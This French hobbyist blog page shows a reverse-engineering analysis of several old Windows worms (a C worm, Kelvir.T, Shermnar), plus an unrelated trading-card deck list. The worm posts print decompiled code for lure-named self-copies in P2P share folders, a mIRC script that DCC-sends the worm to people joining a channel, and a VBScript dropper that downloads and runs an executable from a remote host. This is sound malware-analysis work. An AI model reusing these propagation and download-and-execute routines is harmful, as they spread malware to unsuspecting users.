Hello World
Ici on trouve de l'actu, des essais sur les technos de l'information, de l'étrange et pas mal de bazard...
Ce blog véhicule des images, quelques videos, des sons, du code et des outils.
Bon surf.
Ici on trouve de l'actu, des essais sur les technos de l'information, de l'étrange et pas mal de bazard...
Ce blog véhicule des images, quelques videos, des sons, du code et des outils.
Bon surf.
La Bete étant écrite en C, ça donne une occasion de s'amuser avec RecStudio.
Le source pseudo-code obtenu est interessant, quelques extraits:
Propagation iMesh
esp = esp - 0xc;
RegOpenKeyExA(-2147483646, "SOFTWAREiMeshClient", 0, 131097, & Vfffffff4);
esp = esp - 8;
RegQueryValueExA(Vfffffff4, "DownloadsLocation", 0, 0, & Vfffff5e8, & Vfffff4e4);
esp = esp - 0xc;
RegCloseKey(Vfffffff4);
esp = esp - 0xc;
(save) & Vfffff5e8;
esp = esp + 0x10;
Vfffffff0 = L004071D0();
if(Vfffffff0 != 0) {
esp = esp - 4;
(save) & Vfffff5e8;
sprintf( & Vfffff6e8, "%ssasser.doc.exe");
esp = esp - 4;
CopyFileA( & Vfffffee8, & Vfffff6e8, 0);
esp = esp - 4;
(save) & Vfffff5e8;
sprintf( & Vfffff6e8, "%sMydoom.b Source.doc.exe");
esp = esp - 4;
CopyFileA( & Vfffffee8, & Vfffff6e8, 0);
esp = esp - 4;
(save) & Vfffff5e8;
sprintf( & Vfffff6e8, "%sSober Source.doc.exe");
esp = esp - 4;
CopyFileA( & Vfffffee8, & Vfffff6e8, 0);
esp = esp - 4;
(save) & Vfffff5e8;
sprintf( & Vfffff6e8, "%sJalabed Source.doc.exe");
esp = esp - 4;
CopyFileA( & Vfffffee8, & Vfffff6e8, 0);
esp = esp - 4;
(save) & Vfffff5e8;
sprintf( & Vfffff6e8, "%sJokes.doc.exe");
esp = esp - 4;
CopyFileA( & Vfffffee8, & Vfffff6e8, 0);
esp = esp - 4;
(save) & Vfffff5e8;
sprintf( & Vfffff6e8, "%sLovsan Source.doc.exe");
esp = esp - 4;
CopyFileA( & Vfffffee8, & Vfffff6e8, 0);
esp = esp - 4;
(save) & Vfffff5e8;
sprintf( & Vfffff6e8, "%sWorm Writting Tutorial.doc.exe");
esp = esp - 4;
CopyFileA( & Vfffffee8, & Vfffff6e8, 0);
esp = esp - 4;
(save) & Vfffff5e8;
sprintf( & Vfffff6e8, "%sFizzer Source.doc.exe");
esp = esp - 4;
CopyFileA( & Vfffffee8, & Vfffff6e8, 0);
}
Bricolage avec Mirc
L004017F8()
{
/* unknown */ void Vfffffbe8;
CHAR Vfffffce8;
char Vfffffde8;
/* unknown */ void Vfffffff0;
struct _IO_FILE * Vfffffff4;
esp = esp - 4;
(save)0x100;
(save) & Vfffffce8;
GetModuleFileNameA(0);
esp = esp - 8;
(save)0x100;
eax = & Vfffffbe8;
GetWindowsDirectoryA(eax);
esp = esp - 4;
(save) & Vfffffbe8;
sprintf( & Vfffffde8, "%sLink for new mirc.doc.exe");
esp = esp - 4;
CopyFileA( & Vfffffce8, & Vfffffde8, 0);
esp = esp - 0xc;
(save)"C:mirc";
L004071D0();
esp = esp + 0x10;
Vfffffff0 = eax;
if(Vfffffff0 != 0) {
esp = esp - 8;
Vfffffff4 = fopen("C:mircscript.ini", "w+");
esp = esp - 8;
fprintf(Vfffffff4, "[scritp]n");
esp = esp - 8;
fprintf(Vfffffff4, "n0=on 1:JOIN:#:{n");
esp = esp - 8;
fprintf(Vfffffff4, "n1= /if ( $nick == $me ) { halt }n");
esp = esp - 8;
fprintf(Vfffffff4, "n2= /msg $nick Here you have the link to the new mircn");
esp = esp - 4;
(save) & Vfffffde8;
fprintf(Vfffffff4, "n3= /.dcc send $nick %sn");
esp = esp - 8;
fprintf(Vfffffff4, "n4=}");
esp = esp - 0xc;
fclose(Vfffffff4);
}
return 0;
}
Génération de VBScript
esp = esp - 8;
strcpy(ebp + -110056, "echo Dim DataBin >c:khaled.vbsn");
send( *(ebp - 0x10), ebp + -110056, 10000, 0);
esp = esp - 8;
strcpy(ebp + -110056, "echo Dim HTTPGET >>c:khaled.vbsn");
send( *(ebp - 0x10), ebp + -110056, 10000, 0);
esp = esp - 8;
strcpy(ebp + -110056, "echo Set HTTPGET = CreateObject("Microsoft.XMLHTTP") >>c:khaled.vbsn");
send( *(ebp - 0x10), ebp + -110056, 10000, 0);
esp = esp - 8;
strcpy(ebp + -110056, "echo HTTPGET.Open "GET", "http://webdav.yy.xxxxx.de/wormbykhaled.exe", False >>c:khaled.vbsn");
send( *(ebp - 0x10), ebp + -110056, 10000, 0);
esp = esp - 8;
strcpy(ebp + -110056, "echo HTTPGET.Send >>c:khaled.vbsn");
send( *(ebp - 0x10), ebp + -110056, 10000, 0);
esp = esp - 8;
strcpy(ebp + -110056, "echo DataBin = HTTPGET.ResponseBody >>c:khaled.vbsn");
send( *(ebp - 0x10), ebp + -110056, 10000, 0);
esp = esp - 8;
strcpy(ebp + -110056, "echo Const adTypeBinary=1 >>c:khaled.vbsn");
send( *(ebp - 0x10), ebp + -110056, 10000, 0);
esp = esp - 8;
strcpy(ebp + -110056, "echo Const adSaveCreateOverWrite=2 >>c:khaled.vbsn");
send( *(ebp - 0x10), ebp + -110056, 10000, 0);
esp = esp - 8;
strcpy(ebp + -110056, "echo Dim SendBinary >>c:khaled.vbsn");
send( *(ebp - 0x10), ebp + -110056, 10000, 0);
esp = esp - 8;
strcpy(ebp + -110056, "echo Set SendBinary = CreateObject("ADODB.Stream") >>c:khaled.vbsn");
send( *(ebp - 0x10), ebp + -110056, 10000, 0);
esp = esp - 8;
strcpy(ebp + -110056, "echo SendBinary.Type = adTypeBinary >>c:khaled.vbsn");
send( *(ebp - 0x10), ebp + -110056, 10000, 0);
esp = esp - 8;
strcpy(ebp + -110056, "echo SendBinary.Open >>c:khaled.vbsn");
send( *(ebp - 0x10), ebp + -110056, 10000, 0);
esp = esp - 8;
strcpy(ebp + -110056, "echo SendBinary.Write DataBin >>c:khaled.vbsn");
send( *(ebp - 0x10), ebp + -110056, 10000, 0);
esp = esp - 8;
strcpy(ebp + -110056, "echo SendBinary.SaveToFile "c:webdavbykh.exe", adSaveCreateOverWrite >>c:khaled.vbsn");
send( *(ebp - 0x10), ebp + -110056, 10000, 0);
esp = esp - 8;
strcpy(ebp + -110056, "start C:khaled.vbsn");
send( *(ebp - 0x10), ebp + -110056, 10000, 0);
esp = esp - 0xc;
(save)3;
_sleep();
esp = esp + 0x10;
esp = esp - 8;
strcpy(ebp + -110056, "start C:webdavbykh.exen");
send( *(ebp - 0x10), ebp + -110056, 10000, 0);
*(ebp + -110488) = 0;
Bon, pas eu le temps d'aller plus loin, mais une fois encore RecStudio est magique !
YOP
Pour les combats de cet été, un Deck trés stable, fiable.
Il garantit un flot continu de monstres, le plus souvent sans sacrifices, sous l'oeil malveillant d'Abaki.
Lorsque l'on commence à 2000 points, ça peut faire la différence.
Bien sur, un de ses buts est l'invocation des trois "Grenouilles DES".
Qui attaqueront de préférence aprés l'activation d'un "Coassement DES" ravageur.
Un petit clin d'oeil à deux cartes que j'adore: Lei Lei et Conscription.
Je leur doit plus d'une victoire.
Monstres
Abaki
Lei Lei, Guerrier Indomptable (x3)
Homard Enragé (x3)
Statue-Barrière du Torrent
Statue-Barrière des Abysses
Chasseur de Précision (x3)
Curran Magicienne d'Ebene (x2)
Reine Charmeuse LV3 (x3)
Reine Charmeuse LV5
Guarde du corp de la Reine (x3)
T.A.D.P.O.L.E (x3)
Grenouille DES (x3) (Triple DES :-)
Kabazauls (x2)
Magie
Umiiruka
Coassement DES (x3)
Piege Supprimé
Pieges
Conscription (x3)
Offrande Supréme
Xing Zhen Hu
Energie Ascendante
<End of Deck>
Comparaison du reverse P-Code par deux décompilateurs de la portion de code de Kelvir.T téléchargeant la charge utile du vers.
Premier essai: VBExplorer.
******Possible String Ref To->"http://ww.xx.yy.zz/~wxwarez/test/Service.exe"
|
:0040AB77 1B1D00 LitStr ;Push ptr_0040571C
:0040AB7A 4370FF FStStrCopy ;[LOCAL_0090]=SysAllocStringByteLen(Pop, [Pop-4]); SysFreeString Pop
:0040AB7D 0008 LargeBos ;IDE beginning of line with 08 byte codes
******Possible String Ref To->"c:Service.exe"
|
:0040AB7F 1B1E00 LitStr ;Push ptr_00405798
:0040AB82 436CFF FStStrCopy ;[LOCAL_0094]=SysAllocStringByteLen(Pop, [Pop-4]); SysFreeString Pop
:0040AB85 0010 LargeBos ;IDE beginning of line with 10 byte codes
:0040AB87 046CFF FLdRfVar ;Push LOCAL_0094
:0040AB8A 0470FF FLdRfVar ;Push LOCAL_0090
**********Reference To-> sub_00409A4C
|
:0040AB8D 0B1F000800 ImpAdCallI2 ;Call ptr_00403AEC; check stack 0008; Push EAX
../..
La routine de Download:
[sub_00409A4C]
:004099FC F500000000 LitI4 ;Push 00000000
:00409A01 F510000000 LitI4 ;Push 00000010
:00409A06 801000 ILdI4 ;Push DWORD [STACK_0010]
:00409A09 0470FF FLdRfVar ;Push LOCAL_0090
:00409A0C 34 CStr2Ansi ;vbaStrToAnsi
:00409A0D 6C70FF ILdRf ;Push DWORD [LOCAL_0090]
:00409A10 800C00 ILdI4 ;Push DWORD [STACK_000C]
:00409A13 0474FF FLdRfVar ;Push LOCAL_008C
:00409A16 34 CStr2Ansi ;vbaStrToAnsi
:00409A17 6C74FF ILdRf ;Push DWORD [LOCAL_008C]
:00409A1A F500000000 LitI4 ;Push 00000000
***********Reference To:urlmon.URLDownloadToFileA
|
:00409A1F 5E00001400 ImpAdCallI2 ;Call ptr_004057F4; check stack 0014; Push EAX
:00409A24 716CFF FStR4 ;Pop DWORD [LOCAL_0094]
:00409A27 3C SetLastSystemError ;Kernel GetLastError
:00409A28 6C74FF ILdRf ;Push DWORD [LOCAL_008C]
:00409A2B 6C0C00 ILdRf ;Push DWORD [STACK_000C]
:00409A2E FC58 CStr2Uni ;vbaStrToUnicode
:00409A30 6C70FF ILdRf ;Push DWORD [LOCAL_0090]
:00409A33 6C1000 ILdRf ;Push DWORD [STACK_0010]
:00409A36 FC58 CStr2Uni ;vbaStrToUnicode
:00409A38 6C6CFF ILdRf ;Push DWORD [LOCAL_0094]
:00409A3B F500000000 LitI4 ;Push 00000000
:00409A40 C7 EqI4 ;Push (Pop1 == Pop2)
:00409A41 707AFF FStI2 ;Pop WORD [LOCAL_0086]
:00409A44 32040074FF70FF FFreeStr ;Do SysFreeString [arg_n]; [arg_n]=0 0004/2 times ~ arg
:00409A4B 15 ExitProcI2 ;
Deuxiéme essai: P32Dasm.
0000AB77: 1B LitStr: "http://ww.xx.yy.zz/~wxwarez/test/Service.exe"
0000AB7A: 43 FStStrCopy var_90
0000AB7D: 00 LargeBos
0000AB7F: 1B LitStr: "c:Service.exe"
0000AB82: 43 FStStrCopy var_94
0000AB85: 00 LargeBos
0000AB87: 04 FLdRfVar var_94
0000AB8A: 04 FLdRfVar var_90
0000AB8D: 0B ImpAdCallI2 modDownloadfile 4.2
../..
La routine de Download:
modDownloadfile 4.2 ----
000099FC: F5 LitI4: 0 0x0
00009A01: F5 LitI4: 16 0x10
00009A06: 80 ILdI4 param_10
00009A09: 04 FLdRfVar var_90
00009A0C: 34 CStr2Ansi
00009A0D: 6C ILdRf var_90
00009A10: 80 ILdI4 param_C
00009A13: 04 FLdRfVar var_8C
00009A16: 34 CStr2Ansi
00009A17: 6C ILdRf var_8C
00009A1A: F5 LitI4: 0 0x0
00009A1F: 5E ImpAdCallI4 URLMON.URLDownloadToFileA
00009A24: 71 FStR4 var_94
00009A27: 3C SetLastSystemError
00009A28: 6C ILdRf var_8C
00009A2B: 6C ILdRf param_C
00009A2E: FC58 CStr2Uni
00009A30: 6C ILdRf var_90
00009A33: 6C ILdRf param_10
00009A36: FC58 CStr2Uni
00009A38: 6C ILdRf var_94
00009A3B: F5 LitI4: 0 0x0
00009A40: C7 EqI4 =
00009A41: 70 FStI2 var_86
00009A44: 32 FFreeStr var_8C var_90
00009A4B: 15 ExitProcI2
Conclusion: Utiliser les deux décompilos pour se faciliter la vie.
On compléte le listing clair de P32Dasm avec les infos de VBExplorer.
A nouveau un vers écrit en Visual Basic, toujours compilé P-Code et toujours pas trop méchant: Shermnar (Fiche TREND: http://fr.trendmicro-europe.com/enterprise/vinfo/encyclopedia.php?LYstr=VMAINDATA&vNav=1&VName=WORM_SHERMNAR.A&highlight=shermnar ).
Cette fois c'est P32DASM ( http://programmerstools.org/node/127 ) qui va nous livrer les détails de son fonctionnement interne.
Au bout de plusieurs minutes (!!) de traitement sur ma machine-suicide (un K6-200 sous Millenium, quand meme !), voici le désassemblage des portions caractéristiques:
Ajout d'un répertoire partagé Kazaa:
00007F64: 04 FLdRfVar var_DC
00007F67: 3A LitVarStr: ""
00007F6C: FBEF ConcatVar
00007F70: 3A LitVarStr: "fonts^-^"
00007F75: FBEF ConcatVar
00007F79: 3A LitVarStr: "HKCUSoftwareKazaaTransferDlDir1"
00007F7E: 4E FStVarCopyObj var_10C
00007F81: 04 FLdRfVar var_10C
00007F84: 10 ThisVCallHresult
Dans lequel, on place des copies du vers sous des noms "attractifs":
00008205: 3A LitVarStr: "fonts^-^Shakira.exe"
0000820A: FBEF ConcatVar
0000820E: 25 PopAdLdVar
0000820F: 04 FLdRfVar var_AC
00008212: FD9F LdPrVar
00008214: FE98 LateMemCall
0000821A: 32 FFreeStr var_120 var_12C var_128 var_130
00008225: 29 FFreeAd: var_88 var_124
0000822C: 36 FFreeVar var_9C var_10C var_EC
00008235: 04 FLdRfVar var_120
00008238: 04 FLdRfVar var_88
0000823B: 05 ImpAdLdRf
0000823E: 24 NewIfNullPr
00008241: 0D VCallHresult Global.Get_App() As App
00008246: 08 FLdPr var_88
00008249: 0D VCallHresult App.Get_Path()
0000824E: 6C ILdRf var_120
00008251: 1B LitStr: ""
00008254: 2A ConcatStr
00008255: 23 FStStrNoPop var_12C
00008258: 04 FLdRfVar var_128
0000825B: 04 FLdRfVar var_124
0000825E: 05 ImpAdLdRf
00008261: 24 NewIfNullPr
00008264: 0D VCallHresult Global.Get_App() As App
00008269: 08 FLdPr var_124
0000826C: 0D VCallHresult App.Get_EXEName()
00008271: 6C ILdRf var_128
00008274: 2A ConcatStr
00008275: 23 FStStrNoPop var_130
00008278: 1B LitStr: ".exe"
0000827B: 2A ConcatStr
0000827C: 46 CVarStr var_10C
0000827F: 25 PopAdLdVar
00008280: 04 FLdRfVar var_DC
00008283: 3A LitVarStr: ""
00008288: FBEF ConcatVar
0000828C: 3A LitVarStr: "fonts^-^Gladiator-FullDownloader.exe"
00008291: FBEF ConcatVar
00008295: 25 PopAdLdVar
00008296: 04 FLdRfVar var_AC
00008299: FD9F LdPrVar
0000829B: FE98 LateMemCall
000082A1: 32 FFreeStr var_120 var_12C var_128 var_130
000082AC: 29 FFreeAd: var_88 var_124
000082B3: 36 FFreeVar var_9C var_10C var_EC
000082BC: 04 FLdRfVar var_120
000082BF: 04 FLdRfVar var_88
000082C2: 05 ImpAdLdRf
000082C5: 24 NewIfNullPr
000082C8: 0D VCallHresult Global.Get_App() As App
000082CD: 08 FLdPr var_88
000082D0: 0D VCallHresult App.Get_Path()
000082D5: 6C ILdRf var_120
Ensuite, on trafique la page de démarrage de IE:
00008C19: loc_00008B77
00008C19: 04 FLdRfVar var_150
00008C1C: 28 LitVarI2: 1 0x1 var_BC
00008C21: FB94 AddVar + var_9C
00008C25: FCF6 FStVar var_150
00008C29: 1E Branch 00008892
00008C2C: loc_0000889D
00008C2C: F5 LitI4: 0 0x0
00008C31: 3A LitVarStr: "start.exe http://shermnar.web.ctonet.it/NortonAntivirus2002UpdateInstaler.exe"
00008C36: 4E FStVarCopyObj var_9C
00008C39: 04 FLdRfVar var_9C
00008C3C: 0A ImpAdCallFPR4 Shell()
00008C41: FD6B CVarR8
00008C45: FCF6 FStVar var_1C4
00008C49: 35 FFree1Var var_9C
00008C4C: 3A LitVarStr: "http://shermnar.web.ctonet.it/NortonAntivirus2002UpdateInstaler.exe"
00008C51: 4E FStVarCopyObj var_EC
00008C54: 04 FLdRfVar var_EC
00008C57: 3A LitVarStr: "HKCUSoftwareMicrosoftInternet ExplorerMainStart Page"
00008C5C: 4E FStVarCopyObj var_9C
00008C5F: 04 FLdRfVar var_9C
00008C62: 10 ThisVCallHresult
00008C67: 36 FFreeVar var_9C var_EC
00008C6E: FCC8 End End
00008C70: 13 ExitProcHresult
| Novembre 2009 | ||||||||||
| L | M | M | J | V | S | D | ||||
| 1 | ||||||||||
| 2 | 3 | 4 | 5 | 6 | 7 | 8 | ||||
| 9 | 10 | 11 | 12 | 13 | 14 | 15 | ||||
| 16 | 17 | 18 | 19 | 20 | 21 | 22 | ||||
| 23 | 24 | 25 | 26 | 27 | 28 | 29 | ||||
| 30 | ||||||||||
|
||||||||||
Commentaires